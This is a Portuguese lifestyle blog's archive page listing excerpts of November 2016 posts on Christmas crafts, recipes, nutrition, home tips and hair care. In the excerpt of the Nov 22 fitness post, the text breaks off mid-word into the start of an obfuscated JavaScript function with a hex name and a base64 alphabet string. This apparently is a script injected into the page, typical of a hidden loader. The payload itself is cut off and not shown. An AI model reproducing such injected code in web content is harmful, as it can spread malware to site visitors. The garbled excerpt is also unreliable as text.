Nov 27, 2016 | À descoberta, Faça você mesmo
8 decorações de Natal para fazer em família O Natal está a chegar por isso partilho consigo estas 8 decorações de Natal para fazer em família. Eu adoro tudo no Natal: a árvore, as luzes, os enfeites,os embrulhos coloridos. É um momento mágico onde a família se junta...
Nov 26, 2016 | Dicas úteis, Equilíbrio, Faça você mesmo, Receitas, Saúde e bem estar
Duas sobremesas doces para todos Bolachas de Amêndoa e Mirtilos Ingredientes para 25 bolachas: 200 g flocos de aveia 200 g amêndoa 2 c. sopa mel 1 c. chá fermento em pó 1 ovo batido 3 c. sopa óleo vegetal 2 c. chá essência baunilha q.b. mirtilos 4 nozes Preparação:...
Nov 24, 2016 | Em Alta, Equilíbrio, header, Saúde e bem estar
Dicas de nutrição – 5 peixes saudáveis e seguros Os peixes são alimentos saudáveis, é verdade, mas… uns mais do que outros. Para comer peixe com maior segurança, escolha as espécies mais pequenas e, de preferência, capturadas no ambiente natural em vez de...
Nov 22, 2016 | Dicas úteis, Em Alta, Equilíbrio, Saúde e bem estar, Zen Energy
Estar em boa forma todo o ano – 8 dicas O verão é sinónimo de praia, sol, amigos, família e, claro, grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Nov 21, 2016 | Em Alta, Equilíbrio, Saúde e bem estar
Dicas saudáveis – 8 benefícios da cenoura Melhorar a visão e prolongar o bronzeado são apenas alguns dos benefícios que pode obter se consumir regularmente cenoura. Este vegetal maravilhoso pode ser comido cru, cozido, em sumos, ao pequeno-almoço, ao almoço, ao lanche...
Nov 19, 2016 | À descoberta, Dicas úteis, Em Alta
7 dicas baratas para ter a sua casa quente no Inverno O frio chegou. Por isso vou partilhar consigo 7 dicas baratas para ter a sua casa quente no Inverno. Garanto que vai sentir-se muito mais quentinha depois de as ver e usá-las na sua casa. A primeira dica diz...
Nov 18, 2016 | À descoberta, Dicas úteis
9 usos surpreendentes do azeite Nós, os portugueses, somos dos povos que mais usam o azeite na cozinha. Eu acuso-me: só de pensar num belo pedaço de pão quentinho mergulhado numa boa noz de azeite e vinagre balsâmico fico com água na boca! Também adora? O que ainda...
Nov 15, 2016 | À descoberta, Dicas úteis, Equilíbrio, Estilo e beleza
3 testes caseiros para saber se está a perder cabelo em excesso A queda de cabelo é diagnosticada em clínica. Mas pode sempre tirar as suas primeiras conclusões em casa. A médica tricologista Fátima Garcês partilha alguns testes caseiros para saber se está a perder...
Nov 13, 2016 | À descoberta, Faça você mesmo
Presépios fáceis de fazer reciclados Vou partilhar consigo ideias de presépios fáceis de fazer reciclados. O tempo passa a correr e já falta muito pouco para o Pai Natal descer pela chaminé. O frio chegou, a chuva parece estar de regresso. Por isso nada melhor do que...
Nov 11, 2016 | À descoberta, Receitas
3 receitas saudáveis com castanhas Panquecas de castanha Ingredientes: 1 banana 1 ovo azeite virgem q.b. 1 colher de sopa de farinha de castanha 1 pitada de canela Modo de preparação: Com a varinha mágica triture 1 banana, 1 ovo, 1 colher de sopa de farinha de...
